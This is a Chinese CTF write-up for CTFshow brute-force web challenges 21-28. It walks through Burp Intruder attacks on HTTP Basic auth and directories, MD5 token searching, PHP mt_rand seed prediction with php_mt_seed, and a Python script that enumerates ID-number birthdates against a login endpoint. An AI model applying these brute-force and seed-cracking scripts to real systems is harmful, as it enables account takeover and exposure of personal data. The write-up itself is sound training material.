CTFshow web入门 爆破21-28
web21
-
进去就要输账号密码,随便输入账号密码(admin-123)抓包
-
使用的是 HTTP Basic 身份验证,
*YWRtaW46MTIz*
解码为admin:123
GET / HTTP/1.1 Host: 9f50e003-bdc6-4119-a157-ae5076b896e1.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Sec-Gpc: 1 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i ***Authorization: Basic YWRtaW46MTIz*** Te: trailers Connection: keep-alive
-
使用burp来爆破
在需要被爆破的地方加上payload位置
添加前缀
admin:
以及base64
编码开始爆破
-
爆破成功
web23
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
-
复制到本地调试,大概就是经过md5后的值,要进入到最里面
-
修改一下代码,用于生成结果,
1-10000
的md5
值for($i = 0; $i < 10000; $i++){ $token = md5($i); if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){ if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){ echo "the number is :".$i; echo ";the md5 is: ".$token; break; } } // the number is :422;the md5 is: f85454e8279be180185cac7d243c5eb3
-
token输入422得到flag
web24
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
-
mt_srand(372619038);
是种子值 后续mt_rand()
生成的值都是一定的本地调试
mt_srand(372619038); // 设置随机数生成器种子 echo mt_rand(); // 生成并输出一个随机数 echo " "; echo mt_rand(); // 生成并输出另一个随机数 echo " "; echo mt_rand(); // 生成并输出另一个随机数 echo " "; echo mt_rand(); // 生成并输出另一个随机数 // 1155388967 125197722 1461103528 623173601
也就是说
r
的第一个值是1155388967
-
r
输入1155388967
获得flag
web25
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
-
代码审计,
$rand = intval($r)-intval(mt_rand());<=0
即可得到$_COOKIE['token']
,所以我们输入r = 0
得到第一个0-intval(mt_rand())
值-1271613066
即intval(mt_rand())
=1271613066
-
爆破出
mt_srand
,使用**php_mt_seed
** (ps:写了破解代码效率极低)seed = 3592631133
-
检查是否正确
mt_srand(3592631133); echo mt_rand()." "; echo mt_rand(); // 1271613066 393064451 (正确)
-
代码上r要等于第一次mt_rand,token需要等于 第二和第三次的和,构建数据包
web26
-
这个可以爆
-
输入基本信息,抓包,爆破密码
-
爆破成功即获得flag
web27
-
扫描,发现有录取查询系统,下载录取文件
list.xlsx
-
发现身份证中间有八位被*号了,发现是出生年日,即要爆破出生年日
-
编写脚本
# -*- coding: utf-8 -*- import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) url = 'https://bbc06d78-44ff-4ced-8983-ad98d3956ebb.challenge.ctf.show/info/checkdb.php' class Getoutofloop(Exception): pass try: name = "祁落兴" # 姓名 for y in range(1990, 2025): for m in range(1, 13): for d in range(1, 32): id_num = f'410927{y}{str(m).zfill(2)}{str(d).zfill(2)}5570' # 身份证,需要复制明文的 data = { "a": f"{name}", "p": f"{id_num}" } res = requests.post(url, data=data, verify=False) if 'success' in res.text: print(f"Name is :{name},ID is :{id_num}") print(res.text.encode('utf-8').decode('unicode_escape')) raise Getoutofloop() except Getoutofloop: pass // Name is :祁落兴,ID is :410927199112015570 {"0":"success","msg":"恭喜您,您已被我校录取,你的学号为12015570 初始密码为身份证号码"}
-
第一个学生登陆进去获得flag
web28
-
大海捞针
-
utl为:
http://385b4a8b-173b-49f1-8153-49aa5534e92e.challenge.ctf.show/0/1/2.txt
,说明/0
和/1
都是需要爆破的目录 -
使用burp抓包,发送到
intruder
模块删掉
2.txt
,在目录上添加两个payload模块设置payload,payload集1和2都一样的
-
爆破到200状态码及获得flag